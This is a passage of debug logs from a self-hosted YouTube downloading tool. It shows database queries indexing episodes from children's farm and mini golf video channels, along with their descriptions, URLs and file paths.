(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Aunty is back at Mountainview Sunflowers in Tinonee for another farm adventure! 🌱🚜\n\nToday Rob shows us what else is growing on the farm β€” his delicious sugar snap peas and other crops including beans and peas. \n\nRob teaches Aunty what it’s like to grow crops on hills and the extra challenges farmers face when planting, caring for and harvesting crops on sloping land.\n\nIn this episode we:\n🌱 Explore the sugar snap pea crop\nLearn about growing and harvesting peas and beans\n🚜 Watch Rob prepare the paddocks by ploughing the ground\n⛰️ Discover what makes farming on hills different\nπŸ‘¨\u200D🌾 Learn about the hard work that goes into growing food\n\nA special thank you to Rob for providing the amazing footage of the tractor harvesting the beans, giving us a behind-the-scenes look at the machinery used on the farm. 🚜🌻\n\n#AuntysFarm #MountainviewSunflowers #SugarSnapPeas #FarmLife #HowFoodGrows #TractorsForKids #FarmEducation #AussieFarms #KidsLearning #CountryLife", "🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills", "0c30015d-7807-4ddb-b6b5-fab5d651748d", 635, false, "Bh51vfHAVXQ", "https://www.youtube.com/watch?v=Bh51vfHAVXQ", 3, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-30 - 🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills.mp4", false, false, false, 10, [], 98, ~U[2026-07-30 06:00:21Z], ~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z], "Aunty is back at Mountainview Sunflowers in Tinonee for another farm adventure! 🌱🚜\n\nToday Rob shows us what else is growing on the farm β€” his delicious sugar snap peas and other crops including beans and peas. \n\nRob teaches Aunty what it’s like to grow crops on hills and the extra challenges farmers face when planting, caring for and harvesting crops on sloping land.\n\nIn this episode we:\n🌱 Explore the sugar snap pea crop\nLearn about growing and harvesting peas and beans\n🚜 Watch Rob prepare the paddocks by ploughing the ground\n⛰️ Discover what makes farming on hills different\nπŸ‘¨\u200D🌾 Learn about the hard work that goes into growing food\n\nA special thank you to Rob for providing the amazing footage of the tractor harvesting the beans, giving us a behind-the-scenes look at the machinery used on the farm. 🚜🌻\n\n#AuntysFarm #MountainviewSunflowers #SugarSnapPeas #FarmLife #HowFoodGrows #TractorsForKids #FarmEducation #AussieFarms #KidsLearning #CountryLife", "🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills", 635, false, "Bh51vfHAVXQ", "https://www.youtube.com/watch?v=Bh51vfHAVXQ", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-30 - 🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills.mp4", false, 10, ~U[2026-07-30 06:00:21Z]] 13:14:32.050 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:32.052 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=7.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 06:00:18Z], 10] 13:14:32.056 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=9.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Aunty for this extra-long farm adventure as we follow the complete journey of building a fence from start to finish! 🌳🚜\n\nIn this special combined episode, we see how a Bloodwood tree is turned into strong fence posts, then follow the process as those posts become part of a real working farm fence.\n\nFrom the Australian bush to the paddock, we learn about the skills, tools and machinery farmers use to get the job done.\n\nIn this episode we:\n🌳 Turn a Bloodwood tree into fence posts\nπŸͺš Use the chainsaw to cut and prepare the timber\n🚜 Move logs and posts using tractors\n❀️ Learn why the tree is called a Bloodwood\nπŸ•³οΈ Use the borer to dig fence post holes\nπŸ”¨ See the post slammer in action\nπŸ“¦ Learn about box ends and how they strengthen a fence\nπŸ’§ Discover why farmers need to be careful around underground water lines\nπŸͺ΅ Build a barbed wire fence using the finished posts\n\nThis is a big farm job from beginning to end β€” showing how much work, planning and machinery goes into building a strong fence on a real farm.\n\nPerfect for kids who love tractors, construction, machinery and learning how things are made!\n\n#AuntysFarm #FarmFencing #FenceBuilding #TractorsForKids #FarmMachinery #Chainsaw #FarmLife #CountryKids #KidsLearning #AussieFarmLife", "πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines", "4868fa30-2260-4964-907a-32663b87e7bf", 1313, false, "qvUaO1j2ERo", "https://www.youtube.com/watch?v=qvUaO1j2ERo", 4, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-23 - πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines.mp4", false, false, false, 10, [], 98, ~U[2026-07-23 06:00:18Z], ~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z], "Join Aunty for this extra-long farm adventure as we follow the complete journey of building a fence from start to finish! 🌳🚜\n\nIn this special combined episode, we see how a Bloodwood tree is turned into strong fence posts, then follow the process as those posts become part of a real working farm fence.\n\nFrom the Australian bush to the paddock, we learn about the skills, tools and machinery farmers use to get the job done.\n\nIn this episode we:\n🌳 Turn a Bloodwood tree into fence posts\nπŸͺš Use the chainsaw to cut and prepare the timber\n🚜 Move logs and posts using tractors\n❀️ Learn why the tree is called a Bloodwood\nπŸ•³οΈ Use the borer to dig fence post holes\nπŸ”¨ See the post slammer in action\nπŸ“¦ Learn about box ends and how they strengthen a fence\nπŸ’§ Discover why farmers need to be careful around underground water lines\nπŸͺ΅ Build a barbed wire fence using the finished posts\n\nThis is a big farm job from beginning to end β€” showing how much work, planning and machinery goes into building a strong fence on a real farm.\n\nPerfect for kids who love tractors, construction, machinery and learning how things are made!\n\n#AuntysFarm #FarmFencing #FenceBuilding #TractorsForKids #FarmMachinery #Chainsaw #FarmLife #CountryKids #KidsLearning #AussieFarmLife", "πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines", 1313, false, "qvUaO1j2ERo", "https://www.youtube.com/watch?v=qvUaO1j2ERo", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-23 - πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines.mp4", false, 10, ~U[2026-07-23 06:00:18Z]] 13:14:32.057 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:32.058 [debug] QUERY OK source="media_items" db=0.5ms idle=10.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-16 06:00:29Z], 10] 13:14:32.060 [debug] QUERY OK source="media_items" db=1.0ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today on Aunty’s Farm, we’re learning how farmers build barbed wire fences using the fence posts we made in the last episode! 🌳🚜\n\nJoin Aunty as we follow the farmer through the process of creating a strong farm fence β€” from placing the posts in the ground to adding the wire that keeps everything secure.\n\nIn this episode we:\n🌳 Use the Bloodwood fence posts we made in the previous episode\n🚜 See the tractor attachments used to build fences\nπŸ”¨ Learn about the post slammer and how it pushes posts into the ground\nπŸ•³οΈ Watch the borer dig holes for fence posts\nπŸ“¦ Learn what box ends are and why they’re important\nπŸ’§ Discover why farmers need to be careful around underground water lines\nSee how a real farm fence is built from start to finish\n\nIt’s a hands-on farm adventure showing the skills, tools and machinery farmers use every day to look after their properties.\n\nPerfect for kids who love tractors, machines, building and learning how things work on a real farm!\n\n#AuntysFarm #FarmFencing #TractorsForKids #FarmMachinery #PostSlammer #FenceBuilding #CountryLife #FarmLearning #KidsFarmShow #AussieFarmLife", "Building a Barbed Wire Fence on the Farm! Post Slammer, Borer & Tractors", "df511f0a-7232-4c4c-9a51-2fb7281433e7", 702, false, "RfE9wZSWv-s", "https://www.youtube.com/watch?v=RfE9wZSWv-s", 5, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-16 - Building a Barbed Wire Fence on the Farm! Post Slammer, Borer & Tractors.mp4", false, false, false, 10, [], 98, ~U[2026-07-16 06:00:29Z], ~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z], "Today on Aunty’s Farm, we’re learning how farmers build barbed wire fences using the fence posts we made in the last episode! 🌳🚜\n\nJoin Aunty as we follow the farmer through the process of creating a strong farm fence β€” from placing the posts in the ground to adding the wire that keeps everything secure.\n\nIn this episode we:\n🌳 Use the Bloodwood fence posts we made in the previous episode\n🚜 See the tractor attachments used to build fences\nπŸ”¨ Learn about the post slammer and how it pushes posts into the ground\nπŸ•³οΈ Watch the borer dig holes for fence posts\nπŸ“¦ Learn what box ends are and why they’re important\nπŸ’§ Discover why farmers need to be careful around underground water lines\nSee how a real farm fence is built from start to finish\n\nIt’s a hands-on farm adventure showing the skills, tools and machinery farmers use every day to look after their properties.\n\nPerfect for kids who love tractors, machines, building and learning how things work on a real farm!\n\n#AuntysFarm #FarmFencing #TractorsForKids #FarmMachinery #PostSlammer #FenceBuilding #CountryLife #FarmLearning #KidsFarmShow #AussieFarmLife", "Building a Barbed Wire Fence on the Farm! Post Slammer, Borer & Tractors", 702, false, "RfE9wZSWv-s", "https://www.youtube.com/watch?v=RfE9wZSWv-s", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-16 - Building a Barbed Wire Fence on the Farm! Post Slammer, Borer & Tractors.mp4", false, 10, ~U[2026-07-16 06:00:29Z]] 13:14:32.060 [debug] QUERY OK source="sources" db=0.3ms idle=7.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z], 10] 13:14:32.061 [debug] QUERY OK source="media_items" db=0.7ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 13:14:32.062 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 13:14:32.068 [debug] QUERY OK source="media_items" db=5.5ms idle=4.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 13:14:32.071 [debug] QUERY OK source="tasks" db=0.3ms idle=8.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2350, 10, ~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z]] 13:14:32.071 [info] {"args":{"id":10},"id":2342,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":39873734,"event":"job:stop","queue_time":107540643,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:14:32.425 [debug] Current batch of media processed. Will check again in 1000ms 13:14:33.430 [debug] Current batch of media processed. Will check again in 1000ms 13:14:34.431 [debug] Current batch of media processed. Will check again in 1000ms 13:14:35.434 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "It’s Ozzie vs Nomes in the ultimate Mini Golf Challenge!\n\nLooking for fun educational videos for kids? Ozzie & Nomes explore sports, challenges, machines and how things work!\n\nThis time, Ozzie & Nomes are hitting the mini golf course and going head-to-head to find out who has the best putting skills!\n\nJoin them as they take on crazy obstacles, tricky holes and plenty of surprises in an awesome putt putt battle. Along the way, they’ll learn how mini golf works, discover some fun golf words and practise their aim, control and putting skills.\n\nBut there’s one very important question…\n\nWho Will Win the Ozzie vs Nomes Trophy?! πŸ†\n\nβ€’ Who will sink the best putt?\nβ€’ Will anyone get a hole in one?\nβ€’ Can they score a birdie or an eagle?\nβ€’ Will Ozzie or Nomes become the Mini Golf Champion?\n\nPick your team before you watch β€” Team Ozzie or Team Nomes?\n\nPerfect for curious kids aged 2–10 who love sport, challenges, friendly competition and having a go!\n\nKids will learn about:\nβ€’ How mini golf and putting work\nβ€’ Golf words like par, birdie, eagle and hole in one\nβ€’ Aim, control and coordination\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Mini Golf For Kids\nβ€’ Putt Putt For Kids\nβ€’ Mini Golf Challenge For Kids\nβ€’ How To Play Mini Golf\nβ€’ Golf For Kids\nβ€’ Putting Skills For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSubscribe and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #MiniGolfChallenge #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "duration" => 1285, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-30 - Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?.mp4", "id" => "6yc5cOD9RNs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6yc5cOD9RNs", "playlist_index" => 2, "timestamp" => 1788066003, "title" => "Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?", "upload_date" => "20260830"} 13:14:35.436 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=56.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:14:35.437 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=16.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:35.447 [debug] QUERY OK source="media_items" db=7.9ms queue=1.5ms idle=17.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-30 05:00:03Z], 7] 13:14:35.453 [debug] QUERY OK source="media_items" db=4.0ms queue=0.2ms idle=28.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It’s Ozzie vs Nomes in the ultimate Mini Golf Challenge!\n\nLooking for fun educational videos for kids? Ozzie & Nomes explore sports, challenges, machines and how things work!\n\nThis time, Ozzie & Nomes are hitting the mini golf course and going head-to-head to find out who has the best putting skills!\n\nJoin them as they take on crazy obstacles, tricky holes and plenty of surprises in an awesome putt putt battle. Along the way, they’ll learn how mini golf works, discover some fun golf words and practise their aim, control and putting skills.\n\nBut there’s one very important question…\n\nWho Will Win the Ozzie vs Nomes Trophy?! πŸ†\n\nβ€’ Who will sink the best putt?\nβ€’ Will anyone get a hole in one?\nβ€’ Can they score a birdie or an eagle?\nβ€’ Will Ozzie or Nomes become the Mini Golf Champion?\n\nPick your team before you watch β€” Team Ozzie or Team Nomes?\n\nPerfect for curious kids aged 2–10 who love sport, challenges, friendly competition and having a go!\n\nKids will learn about:\nβ€’ How mini golf and putting work\nβ€’ Golf words like par, birdie, eagle and hole in one\nβ€’ Aim, control and coordination\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Mini Golf For Kids\nβ€’ Putt Putt For Kids\nβ€’ Mini Golf Challenge For Kids\nβ€’ How To Play Mini Golf\nβ€’ Golf For Kids\nβ€’ Putting Skills For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSubscribe and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #MiniGolfChallenge #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?", "02350efb-92a7-4e6f-b7f7-214c2dce3b98", 1285, false, "6yc5cOD9RNs", "https://www.youtube.com/watch?v=6yc5cOD9RNs", 2, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-30 - Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?.mp4", false, false, false, 7, [], 98, ~U[2026-08-30 05:00:03Z], ~U[2026-09-03 03:14:35Z], ~U[2026-09-03 03:14:35Z], "It’s Ozzie vs Nomes in the ultimate Mini Golf Challenge!\n\nLooking for fun educational videos for kids? Ozzie & Nomes explore sports, challenges, machines and how things work!\n\nThis time, Ozzie & Nomes are hitting the mini golf course and going head-to-head to find out who has the best putting skills!\n\nJoin them as they take on crazy obstacles, tricky holes and plenty of surprises in an awesome putt putt battle. Along the way, they’ll learn how mini golf works, discover some fun golf words and practise their aim, control and putting skills.\n\nBut there’s one very important question…\n\nWho Will Win the Ozzie vs Nomes Trophy?! πŸ†\n\nβ€’ Who will sink the best putt?\nβ€’ Will anyone get a hole in one?\nβ€’ Can they score a birdie or an eagle?\nβ€’ Will Ozzie or Nomes become the Mini Golf Champion?\n\nPick your team before you watch β€” Team Ozzie or Team Nomes?\n\nPerfect for curious kids aged 2–10 who love sport, challenges, friendly competition and having a go!\n\nKids will learn about:\nβ€’ How mini golf and putting work\nβ€’ Golf words like par, birdie, eagle and hole in one\nβ€’ Aim, control and coordination\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Mini Golf For Kids\nβ€’ Putt Putt For Kids\nβ€’ Mini Golf Challenge For Kids\nβ€’ How To Play Mini Golf\nβ€’ Golf For Kids\nβ€’ Putting Skills For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSubscribe and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #MiniGolfChallenge #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?", 1285, false, "6yc5cOD9RNs", "https://www.youtube.com/watch?v=6yc5cOD9RNs", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-30 - Ozzie vs Nomes: Mini Golf Challenge! β›³πŸ† Who Will Win the Putt Putt Battle?.mp4", false, 7, ~U[2026-08-30 05:00:03Z]] 13:14:35.457 [debug] QUERY OK source="sources" db=4.2ms idle=32.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:35.459 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=22.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:35.460 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=22.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14035] 13:14:35.460 [debug] Current batch of media processed. Will check again in 1000ms 